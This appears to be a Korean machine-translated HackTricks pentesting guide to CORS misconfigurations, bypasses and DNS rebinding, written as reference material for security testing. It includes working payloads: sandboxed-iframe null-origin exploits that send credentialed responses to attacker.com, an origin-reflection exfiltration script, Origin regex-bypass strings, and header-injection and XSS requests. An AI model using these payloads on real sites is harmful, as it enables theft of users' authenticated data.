CORS - Misconfigurations & Bypass

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

CORS란?

Cross-Origin Resource Sharing (CORS) standard는 server가 누가 자신의 assets에 접근할 수 있는지어떤 HTTP request methods가 external source에서 허용되는지를 정의할 수 있게 해줍니다.

same-origin policy는 resource를 요청하는 serverresource를 호스팅하는 server가 같은 protocol(예: http://), domain name(예: internal-web.com), 그리고 port(예: 80)를 공유해야 한다고 규정합니다. 이 정책에서는 같은 domain과 port의 web page만 resources에 접근할 수 있습니다.

http://normal-website.com/example/example.html 문맥에서 same-origin policy의 적용은 다음과 같습니다:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer는 same-origin policy를 강제할 때 port number를 무시하므로, 이 접근을 허용합니다.

Access-Control-Allow-Origin Header

이 header는 multiple origins, null value, 또는 wildcard *를 허용할 수 있습니다. 하지만 어떤 browser도 multiple origins를 지원하지 않으며, wildcard *의 사용에는 제한이 있습니다. (wildcard는 단독으로만 사용해야 하며, Access-Control-Allow-Credentials: true와 함께 사용할 수 없습니다.)

이 header는 website가 시작한 cross-domain resource request에 대한 응답으로 server가 발급하며, browser는 자동으로 Origin header를 추가합니다.

Access-Control-Allow-Credentials Header

기본적으로, cross-origin requests는 cookies나 Authorization header 같은 credentials 없이 만들어집니다. 하지만 cross-domain server는 Access-Control-Allow-Credentials header를 **true**로 설정하여 credentials가 전송될 때 response를 읽을 수 있도록 허용할 수 있습니다.

true로 설정되면 browser는 credentials(cookies, authorization headers, 또는 TLS client certificates)를 전송합니다.

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Cross-Domain Communication에서 Pre-flight Requests 이해하기

특정 조건에서 cross-domain request를 시작할 때, 예를 들어 비표준 HTTP method(HEAD, GET, POST 이외의 것)를 사용하거나, 새로운 headers를 추가하거나, 특별한 Content-Type header value를 사용할 경우, pre-flight request가 필요할 수 있습니다. 이 사전 요청은 OPTIONS method를 활용하며, 서버에 앞으로 발생할 cross-origin request의 의도, 즉 사용할 HTTP methods와 headers를 알려주는 역할을 합니다.

Cross-Origin Resource Sharing (CORS) protocol은 요청된 cross-origin 작업의 가능성을 판단하기 위해, 허용된 methods, headers, 그리고 origin의 신뢰성을 확인하는 이 pre-flight 검사를 요구합니다. pre-flight request가 필요 없는 조건에 대한 자세한 내용은 Mozilla Developer Network (MDN)에서 제공하는 포괄적인 가이드를 참고하세요.

pre-flight request가 없다고 해서 response에 authorization headers가 필요 없다는 뜻은 아닙니다. 이러한 headers가 없으면 브라우저는 cross-origin request의 response를 처리할 수 없습니다.

Special-Request-Header라는 custom header와 함께 PUT method를 사용하는 것을 목표로 한 pre-flight request의 예시는 다음과 같습니다:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

응답으로, 서버는 허용된 메서드, 허용된 origin 및 기타 CORS policy 세부 정보를 나타내는 headers를 반환할 수 있으며, 이는 아래에 표시된 것과 같습니다:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: 이 헤더는 실제 request 동안 사용할 수 있는 headers를 지정한다. 서버가 client의 request에서 허용된 headers를 나타내기 위해 설정한다.
  • Access-Control-Expose-Headers: 이 헤더를 통해 서버는 simple response headers 외에 response의 일부로 노출할 수 있는 headers가 무엇인지 client에 알린다.
  • Access-Control-Max-Age: 이 헤더는 pre-flight request의 결과를 얼마나 오래 cache할 수 있는지 나타낸다. 서버는 pre-flight request가 반환한 정보가 재사용될 수 있는 최대 시간을 초 단위로 설정한다.
  • Access-Control-Request-Headers: pre-flight request에서 사용되며, client가 실제 request에서 어떤 HTTP headers를 사용하고 싶은지 서버에 알리기 위해 설정한다.
  • Access-Control-Request-Method: 이 헤더도 pre-flight request에서 사용되며, 실제 request에서 어떤 HTTP method가 사용될지를 나타내기 위해 client가 설정한다.
  • Origin: 이 헤더는 browser가 자동으로 설정하며 cross-origin request의 origin을 나타낸다. 서버는 이를 사용해 들어오는 request가 CORS policy에 따라 허용되어야 하는지 거부되어야 하는지 판단한다.

보통은 (content-type과 설정된 headers에 따라) GET/POST request에서는 pre-flight request가 전송되지 않으며 request는 직접 전송된다. 하지만 response의 headers/body에 접근하려면, 이를 허용하는 Access-Control-Allow-Origin header가 반드시 포함되어야 한다.
따라서, CORS는 CSRF를 막지 않는다(하지만 도움이 될 수는 있다).

Local Network Requests Pre-flight request

Modern browsers와 현재의 Private Network Access (PNA) draft는 preflight에서 Access-Control-Request-Private-Network: true headers를, response에서 Access-Control-Allow-Private-Network: true headers를 사용한다. 예전 articles와 PoCs는 여전히 Local-Network header names를 언급할 수 있지만, 현재 testing에서는 Private-Network variants를 기대해야 한다.

local network request를 허용하는 유효한 response에는 또한 Access-Control-Allow-Private-Network: true가 포함되어야 한다:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

그리고 preflight request는 다음과 비슷하게 보입니다:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Chrome’s PNA rollout changed several times during 2024. As of October 9, 2024, Chrome documented that PNA preflights were on hold because of compatibility problems, while secure-context restrictions remained in place. Therefore, keep testing both the spec-compliant preflight flow and the older “works in practice because enforcement is incomplete” behavior.

Warning

Note that the linux 0.0.0.0 IP works to bypass these requirements to access localhost as that IP address is not considered “local”.

Chrome also documented that 0.0.0.0/8 is now treated as part of Private Network Access, so this trick is browser/version-dependent and should be re-tested instead of assumed.

It’s also possible to bypass the Local Network requirements if you use the public IP address of a local endpoint (like the public IP of the router). Because in several occasions, even if the public IP is being accessed, if it’s from the local network, access will be granted.

Wildcards

Note that even if the following configuration might look super permissive:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

브라우저에서는 이것이 허용되지 않으므로, 이에 의해 허용된 요청에는 credentials가 전송되지 않습니다.

Exploitable misconfigurations

Access-Control-Allow-Credentials를 **true**로 설정하는 것은 대부분의 real attacks에서 필수 조건으로 관찰됩니다. 이 설정은 browser가 credentials를 전송하고 response를 읽을 수 있게 하여 attack의 효과를 높입니다. 이것이 없으면, browser가 요청을 보내게 하는 것의 이점은 직접 수행하는 것보다 줄어듭니다. 사용자의 cookies를 활용하는 것이 불가능해지기 때문입니다.

Exception: Exploiting Network Location as Authentication

예외적으로, 피해자의 network location이 authentication의 한 형태로 동작하는 경우가 있습니다. 이 경우 피해자의 browser를 proxy처럼 사용하여 IP 기반 authentication을 우회하고 intranet applications에 접근할 수 있습니다. 이 방법은 impact 면에서 DNS rebinding과 유사하지만 exploit하기는 더 सरल합니다.

Reflection of Origin in Access-Control-Allow-Origin

Origin header의 값이 Access-Control-Allow-Origin에 반영되는 실제 상황은, 이 headers를 조합하는 데 따르는 제한 때문에 이론적으로는 가능성이 낮습니다. 그러나 여러 URLs에 대해 CORS를 활성화하려는 개발자들은 Origin header의 값을 복사해 Access-Control-Allow-Origin header를 동적으로 생성할 수 있습니다. 이 접근 방식은 특히 attacker가 정상적으로 보이도록 설계된 이름의 domain을 사용하는 경우, validation logic을 속여 vulnerabilities를 유발할 수 있습니다.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

null Origin 익스플로잇

리다이렉트나 로컬 HTML 파일 같은 상황에서 지정되는 null origin은 독특한 위치를 차지합니다. 일부 애플리케이션은 로컬 개발을 쉽게 하려고 이 origin을 허용 목록에 넣는데, 이로 인해 어떤 웹사이트든 sandboxed iframe을 통해 null origin을 흉내 낼 수 있게 되어, 결과적으로 CORS 제한을 우회할 수 있습니다.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

도메인 whitelist를 마주쳤을 때는, 공격자의 도메인을 whitelisted domain에 덧붙이거나 subdomain takeover 취약점을 악용하는 등 bypass 기회를 테스트하는 것이 중요합니다. 또한 domain validation에 사용되는 regular expressions는 domain naming convention의 미묘한 차이를 놓칠 수 있어, 추가적인 bypass 기회를 제공합니다.

Advanced Regular Expression Bypasses

Regex 패턴은 일반적으로 영숫자, dot (.), hyphen (-) 문자에 집중하고 다른 가능성은 간과합니다. 예를 들어, browser와 regex 패턴에서 다르게 해석되는 문자를 포함하도록 만든 domain name은 security check를 우회할 수 있습니다. subdomain에서 underscore 문자를 처리하는 Safari, Chrome, Firefox의 방식은 이러한 불일치가 domain validation logic을 우회하는 데 어떻게 악용될 수 있는지 보여줍니다.

이 bypass check의 자세한 정보와 settings는 다음을 참고하세요: https://www.corben.io/advanced-cors-techniques/ 그리고 https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

subdomain 안의 XSS로부터

개발자는 종종 허용된 domain을 whitelist에 등록해 정보를 요청할 수 있도록 하여 CORS exploitation을 방어하는 mechanisms를 구현합니다. 하지만 이러한 예방 조치에도 불구하고, 시스템의 보안은 완벽하지 않습니다. whitelist에 포함된 domain들 중 단 하나의 취약한 subdomain만 있어도, XSS(Cross-Site Scripting) 같은 다른 취약점을 통해 CORS exploitation의 문이 열릴 수 있습니다.

예를 들어, requester.comprovider.com에서 resources에 접근하도록 whitelist되어 있다고 가정해 봅시다. server-side configuration은 대략 다음과 같을 수 있습니다:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

이 설정에서는 requester.com의 모든 subdomain이 접근을 허용받습니다. 그러나 sub.requester.com 같은 subdomain이 XSS vulnerability로 compromise되면, attacker는 이 취약점을 악용할 수 있습니다. 예를 들어, sub.requester.com에 접근할 수 있는 attacker는 XSS vulnerability를 이용해 CORS policies를 우회하고 provider.com의 resources에 악의적으로 접근할 수 있습니다.

Special Characters

PortSwigger의 URL validation bypass cheat sheet는 일부 browsers가 domain names 안에서 이상한 characters를 지원한다는 것을 발견했습니다.

Chrome과 Firefox는 Origin header를 validate하기 위해 구현된 regexes를 우회할 수 있는 underscore _를 지원합니다:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari는 도메인 이름에 특수 문자를 허용하는 데 있어서 더 느슨하다:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

PortSwigger의 cheat sheet의 최근 업데이트에는 대상이 Origin 헤더를 regex나 자체 제작한 URL parser로 검증할 때 fuzzing해볼 만한 더 많은 Safari 지향 domain splitting payload가 추가되었다:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

이것들은 백엔드가 제공된 origin이 신뢰된 hostname으로 시작하는지 또는 포함하는지만 확인하고, 브라우저는 공격자가 제어하는 suffix를 실제 origin 경계로 계속 취급할 때 유용하다.

또한 최신 origin fuzzing은 hostname suffix에서 멈추면 안 된다는 점도 기억하자. 현재 PortSwigger cheat sheet에는 다음 payload 계열이 포함되어 있다:

  • Domain allow-list bypasses: 순진한 prefix/suffix/substring 검사를 여전히 통과하는 공격자 제어 domain.
  • Fake-relative absolute URLs: 애플리케이션 코드가 relative로 파싱할 수 있지만 브라우저에서는 유효한 absolute URLs.
  • Loopback/IP normalizations: localhost, 127.0.0.1, 또는 cloud metadata endpoints를 문자열 비교로 차단하려 할 때 유용한 대체 IPv4/IPv6 형식.

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

HTTP header injection을 통해 server-side cache poisoning을 악용하면 stored Cross-Site Scripting (XSS) 취약점을 유발할 수 있다. 이 시나리오는 application이 Origin header에서 허용되지 않는 문자를 제대로 sanitize하지 못할 때 발생하며, 특히 Internet Explorer와 Edge 사용자에게 문제가 된다. 이 브라우저들은 (0x0d)를 유효한 HTTP header terminator로 처리하여 HTTP header injection 취약점으로 이어진다.

다음과 같이 Origin header가 조작된 request를 고려하자:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer와 Edge는 응답을 다음과 같이 해석합니다:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

직접 웹 브라우저로 잘못된 헤더를 보내 이 취약점을 익스플로잇하는 것은 현실적이지 않지만, Burp Suite 같은 도구를 사용해 crafted request를 수동으로 생성할 수 있습니다. 이 방법은 server-side cache가 응답을 저장하고, 의도치 않게 다른 사용자에게 제공하게 만들 수 있습니다. crafted payload의 목적은 페이지의 character set을 UTF-7로 바꾸는 것입니다. UTF-7은 특정 컨텍스트에서 script로 실행될 수 있는 방식으로 문자를 인코딩할 수 있어 XSS 취약점과 자주 연관되는 character encoding입니다.

stored XSS 취약점에 대한 추가 읽을거리는 PortSwigger를 참고하세요.

Note: HTTP header injection 취약점의 exploitation, 특히 server-side cache poisoning을 통한 exploitation은 모든 user-supplied input, including HTTP headers, 를 검증하고 sanitizing하는 것이 얼마나 중요한지 보여줍니다. 이러한 취약점을 방지하기 위해 input validation을 포함하는 견고한 security model을 항상 사용하세요.

Client-Side cache poisoning

이 연구에서

이 시나리오에서는 적절한 encoding 없이 custom HTTP header의 내용을 반영하는 웹 페이지 인스턴스가 관찰됩니다. 구체적으로, 웹 페이지는 X-User-id header에 포함된 내용을 그대로 반사하며, 여기에는 악성 JavaScript가 포함될 수 있습니다. 이는 header가 로드될 때 JavaScript code를 실행하도록 설계된 SVG image tag를 포함하는 예시에서처럼 확인할 수 있습니다.

Cross-Origin Resource Sharing (CORS) policies는 custom headers를 전송하는 것을 허용합니다. 그러나 CORS restrictions 때문에 response가 브라우저에 직접 렌더링되지 않는다면, 이런 injection의 유용성은 제한적으로 보일 수 있습니다. 핵심은 browser의 cache 동작을 고려할 때 드러납니다. Vary: Origin header가 지정되지 않으면, 악성 response가 browser에 의해 cache될 수 있습니다. 이후 이 cached response는 URL로 이동할 때 직접 렌더링될 수 있으며, 초기 request 시 직접 렌더링할 필요를 우회합니다. 이 메커니즘은 client-side caching을 활용해 공격의 신뢰성을 높입니다.

이 공격을 설명하기 위해, JSFiddle 같은 웹 페이지 환경에서 실행되도록 설계된 JavaScript 예시가 제공됩니다. 이 script는 단순한 동작을 수행합니다. 지정된 URL에 악성 JavaScript를 담은 custom header와 함께 request를 보냅니다. request가 성공적으로 완료되면, target URL로 이동을 시도하며, response가 Vary: Origin header를 적절히 처리하지 않은 상태로 cache되었다면 injected script의 실행을 유발할 수 있습니다.

이 공격을 실행하는 데 사용되는 JavaScript의 요약은 다음과 같습니다:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

우회

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, 즉 Cross-Site Script Inclusion이라고도 알려진 것은 script tag를 사용해 리소스를 포함할 때 Same Origin Policy (SOP)가 적용되지 않는다는 사실을 악용하는 취약점의 한 종류입니다. 이는 scripts가 서로 다른 domain에서 포함될 수 있어야 하기 때문입니다. 이 취약점은 attacker가 script tag를 통해 포함된 모든 content에 접근하고 읽을 수 있게 합니다.

이 취약점은 dynamic JavaScript나 JSONP (JSON with Padding)에서 특히 중요해집니다. 특히 cookies 같은 ambient-authority 정보가 authentication에 사용될 때 더욱 그렇습니다. 다른 host에서 resource를 요청하면 cookies가 함께 포함되므로 attacker가 이를 접근할 수 있게 됩니다.

이 취약점을 더 잘 이해하고 완화하려면 https://github.com/kapytein/jsonp에서 제공되는 BurpSuite plugin을 사용할 수 있습니다. 이 plugin은 web application에서 잠재적인 XSSI 취약점을 식별하고 대응하는 데 도움이 됩니다.

다양한 종류의 XSSI와 이를 exploit하는 방법에 대해 더 읽기.

요청에 callback parameter를 추가해 보세요. 페이지가 데이터를 JSONP로 보내도록 준비되어 있었을 수도 있습니다. 그런 경우 page는 Content-Type: application/javascript와 함께 데이터를 반환하며, 이는 CORS policy를 우회합니다.

쉬운 (쓸모없을 수도 있는?) 우회

Access-Control-Allow-Origin 제한을 우회하는 한 가지 방법은 web application이 대신 요청을 보내고 response를 다시 전달하게 하는 것입니다. 하지만 이 시나리오에서는 요청이 다른 domain으로 보내지므로 최종 victim의 credentials는 전송되지 않습니다.

  1. CORS-escape: 이 tool은 request와 headers를 함께 전달하면서 Origin header를 요청한 domain에 맞게 spoofing하는 proxy를 제공합니다. 이는 CORS policy를 효과적으로 우회합니다. 다음은 XMLHttpRequest를 사용한 예시입니다:
  2. simple-cors-escape: 이 tool은 request proxying에 대한 대체 접근 방식을 제공합니다. 요청을 그대로 전달하는 대신, server가 지정된 parameters로 자체 request를 만듭니다.

Iframe + Popup Bypass

e.origin === window.origin 같은 CORS checks는 iframe을 만들고 거기서 새 window를 열면 우회할 수 있습니다. 자세한 내용은 다음 페이지를 보세요:

Iframes in XSS, CSP and SOP

TTL을 이용한 DNS Rebinding

TTL을 이용한 DNS rebinding은 DNS records를 조작해 특정 security measure를 우회하는 기법입니다. 동작 방식은 다음과 같습니다:

  1. attacker가 web page를 만들고 victim이 그 페이지에 접근하도록 합니다.
  2. attacker는 자신의 domain의 DNS (IP)를 victim의 web page를 가리키도록 변경합니다.
  3. victim의 browser는 DNS response를 cache하는데, 이때 DNS record를 얼마나 오래 유효한 것으로 볼지 나타내는 TTL (Time to Live) 값이 있을 수 있습니다.
  4. TTL이 만료되면 victim의 browser는 새 DNS request를 보내며, attacker가 victim의 page에서 JavaScript code를 실행할 수 있게 됩니다.
  5. victim의 IP에 대한 control을 유지함으로써 attacker는 victim server로 cookies를 보내지 않고도 victim으로부터 정보를 수집할 수 있습니다.

브라우저에는 caching mechanism이 있어 TTL 값이 낮더라도 이 기법의 즉각적인 악용을 막을 수 있다는 점을 알아두는 것이 중요합니다.

DNS rebinding은 victim이 수행하는 명시적인 IP checks를 우회하거나, user나 bot이 같은 page에 오래 머물러 cache가 만료되는 시나리오에서 유용할 수 있습니다.

DNS rebinding을 빠르게 악용하려면 https://lock.cmpxchg8b.com/rebinder.html 같은 서비스를 사용할 수 있습니다.

자신만의 DNS rebinding server를 실행하려면 DNSrebinder (https://github.com/mogwailabs/DNSrebinder) 같은 tool을 활용할 수 있습니다. 이는 local port 53/udp를 노출하고, 이를 가리키는 A record를 만들고(e.g., ns.example.com), 이전에 만든 A subdomain을 가리키는 NS record를 만드는 작업을 포함합니다(e.g., ns.example.com). 그러면 ns.example.com subdomain의 어떤 subdomain도 your host에서 resolve됩니다.

추가 이해와 실습을 위해 http://rebind.it/singularity.html에서 공개적으로 실행 중인 server도 살펴볼 수 있습니다.

DNS Cache Flooding을 이용한 DNS Rebinding

DNS cache flooding을 이용한 DNS rebinding은 browser의 caching mechanism을 우회하고 두 번째 DNS request를 강제하는 또 다른 기법입니다. 동작 방식은 다음과 같습니다:

  1. 처음에 victim이 DNS request를 하면 attacker의 IP address가 응답됩니다.
  2. caching defense를 우회하기 위해 attacker는 service worker를 활용합니다. service worker는 DNS cache를 flooding하여 cached attacker server name을 효과적으로 삭제합니다.
  3. victim의 browser가 두 번째 DNS request를 하면, 이제 127.0.0.1의 IP address가 응답되는데, 이는 일반적으로 localhost를 의미합니다.

service worker로 DNS cache를 flooding함으로써 attacker는 DNS resolution process를 조작하고 victim의 browser가 두 번째 request를 보내도록 강제할 수 있으며, 이번에는 attacker가 원하는 IP address로 resolve됩니다.

Cache를 이용한 DNS Rebinding

caching defense를 우회하는 또 다른 방법은 DNS provider에서 같은 subdomain에 여러 IP address를 사용하는 것입니다. 동작 방식은 다음과 같습니다:

  1. attacker가 DNS provider에 같은 subdomain에 대한 두 개의 A record(또는 두 개의 IP를 가진 단일 A record)를 설정합니다.
  2. browser가 이 record들을 확인하면 두 IP address를 모두 받습니다.
  3. browser가 먼저 attacker의 IP address를 사용하기로 결정하면, attacker는 같은 domain에 HTTP requests를 수행하는 payload를 제공할 수 있습니다.
  4. 하지만 attacker가 victim의 IP address를 얻은 후에는 victim의 browser에 응답하지 않습니다.
  5. victim의 browser는 domain이 응답하지 않는다고 판단하면 두 번째로 제공된 IP address를 사용합니다.
  6. 두 번째 IP address에 접근함으로써 browser는 Same Origin Policy (SOP)를 우회하게 되고, attacker는 이를 악용해 정보를 수집하고 exfiltrate할 수 있습니다.

이 기법은 domain에 대해 여러 IP address가 제공될 때 browser의 동작을 활용합니다. response를 전략적으로 제어하고 browser가 선택하는 IP address를 조작함으로써 attacker는 SOP를 exploit하고 victim의 정보에 접근할 수 있습니다.

Warning

localhost에 접근하려면 Windows에서는 127.0.0.1을, linux에서는 0.0.0.0을 rebind해 보아야 합니다.
godaddy나 cloudflare 같은 provider는 ip 0.0.0.0 사용을 허용하지 않았지만, AWS route53은 2개의 IP가 있는 하나의 A record를 생성할 수 있게 해 주었고 그중 하나가 “0.0.0.0“이었습니다

더 많은 정보는 https://unit42.paloaltonetworks.com/dns-rebinding/에서 확인할 수 있습니다.

기타 흔한 우회 방법

  • internal IPs가 허용되지 않더라도, 0.0.0.0 차단을 깜빡했을 수 있습니다(Linux와 Mac에서 동작)
  • internal IPs가 허용되지 않더라도, localhostCNAME 응답을 보낼 수 있습니다(Linux와 Ma
  • DNS response로 internal IPs가 허용되지 않더라도, www.corporate.internal 같은 internal services로의 CNAMEs를 응답할 수 있습니다.

무기화된 DNS Rebidding

이전 우회 기법에 대한 더 많은 정보와 다음 tool 사용법은 Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference 발표에서 확인할 수 있습니다.

Singularity of OriginDNS rebinding attacks를 수행하는 tool입니다. 이 tool은 attack server DNS name의 IP address를 target machine의 IP address로 rebind하고, target machine에서 vulnerable software를 exploit하기 위한 attack payload를 제공하는 데 필요한 구성 요소를 포함합니다.

DNS-over-HTTPS (DoH)를 통한 DNS Rebinding

DoH는 단순히 전통적인 RFC1035 DNS wire format을 HTTPS 안에 터널링합니다(보통 Content-Type: application/dns-message를 사용하는 POST). resolver는 여전히 같은 resource records로 응답하므로, browser가 attacker-controlled hostname을 TLS를 통해 resolve하더라도 SOP를 깨는 기법은 계속 동작합니다.

핵심 관찰

  • Chrome (Windows/macOS)과 Firefox (Linux)는 Cloudflare, Google, 또는 OpenDNS DoH resolvers로 설정했을 때 성공적으로 rebind됩니다. transport encryption은 first-then-second, multiple-answers, 또는 DNS cache flooding 전략의 attack-flow를 지연시키거나 차단하지 않습니다.
  • Public resolvers는 여전히 모든 query를 보지만, browser가 따라야 하는 host-to-IP mapping을 강제하는 경우는 드뭅니다. authoritative server가 rebinding sequence를 반환하면, browser는 새 IP에 연결하면서도 원래 origin tuple을 유지합니다.

DoH에서의 Singularity 전략과 타이밍

  • first-then-second가 여전히 가장 신뢰할 수 있는 옵션입니다: 첫 lookup은 payload를 제공하는 attacker IP를 반환하고, 이후 모든 lookup은 internal/localhost IP를 반환합니다. 일반적인 browser DNS cache에서는 recursive resolver가 HTTPS로만 접근 가능하더라도 약 40–60초 안에 traffic이 전환됩니다.
  • **multiple answers (fast rebinding)**는 두 개의 A record(attacker IP + Linux/macOS에서는 0.0.0.0, Windows에서는 127.0.0.1)로 응답하고, page가 로드된 직후 첫 IP를 programmatically blackholing(예: iptables -I OUTPUT -d <attacker_ip> -j DROP)하여 3초 미만에 localhost에 도달합니다. Firefox의 DoH implementation은 반복적인 DNS query를 보낼 수 있으므로, Singularity의 fix는 모든 query마다 timer를 갱신하는 대신 query timestamp를 기준으로 firewall rule을 예약하는 것입니다.

DoH provider의 “rebind protection” 우회

  • 일부 provider(e.g., NextDNS)는 private/loopback 응답을 0.0.0.0으로 바꾸지만, Linux와 macOS는 해당 destination을 local services로 문제없이 라우팅합니다. 따라서 두 번째 record로 0.0.0.0을 의도적으로 반환해도 origin은 여전히 localhost로 전환됩니다.
  • 직접적인 A/AAAA response만 필터링하는 것은 효과적이지 않습니다: internal-only hostname에 대한 CNAME을 반환하면 public DoH resolver가 alias를 전달하고, Firefox 같은 browser는 internal zone에 대해 system DNS로 fallback하여 private IP로 resolution을 완료하며, 이 IP는 여전히 attacker origin으로 취급됩니다.

browser별 DoH 동작

  • Firefox DoH는 fallback mode로 동작합니다: DoH 실패(해결되지 않은 CNAME target 포함)가 발생하면 OS resolver를 통한 plaintext lookup이 시작되는데, 이는 보통 internal namespace를 아는 enterprise DNS server입니다. 이 동작 때문에 CNAME bypass가 corporate networks 안에서 신뢰할 수 있게 동작합니다.
  • Chrome DoH는 OS DNS가 허용 목록에 있는 DoH-capable recursive resolver(Cloudflare, Google, Quad9 등)를 가리킬 때만 활성화되며, 같은 fallback chain을 제공하지 않습니다. 따라서 corporate DNS에만 존재하는 internal hostnames는 resolve되지 않지만, localhost나 어떤 routable address로의 rebinding은 여전히 성공하는데, attacker가 전체 response set을 제어하기 때문입니다.

DoH 흐름 테스트 및 모니터링

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS를 선택하고 DoH endpoint를 지정합니다(Cloudflare와 NextDNS는 내장됨). Chrome/Chromium: chrome://flags/#dns-over-https를 활성화하고 OS DNS servers를 Chrome이 지원하는 resolver 중 하나로 설정합니다(e.g., 1.1.1.1/1.0.0.1).
  • public DoH APIs를 직접 query할 수 있습니다. 예를 들어 curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq로 browser가 cache할 정확한 records를 확인할 수 있습니다.
  • Burp/ZAP에서 DoH를 intercept하는 것도 여전히 가능합니다. 이는 단지 HTTPS이기 때문입니다(body에 binary DNS payload가 들어감). packet-level inspection을 위해 browser를 실행하기 전에 TLS keys를 export하세요(export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt). 그러면 Wireshark가 dns display filter로 DoH sessions를 decrypt하여 browser가 DoH를 계속 사용하는지 classic DNS로 fallback하는지 확인할 수 있습니다.

DNS Rebinding에 대한 실제 보호

  • internal services에 TLS 사용
  • data 접근을 위해 authentication 요구
  • Host header 검증
  • https://wicg.github.io/private-network-access/: public servers가 internal servers에 접근하려 할 때 항상 pre-flight request를 보내도록 하는 제안

Tools

CORS policies의 가능한 misconfiguration fuzzing

References

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기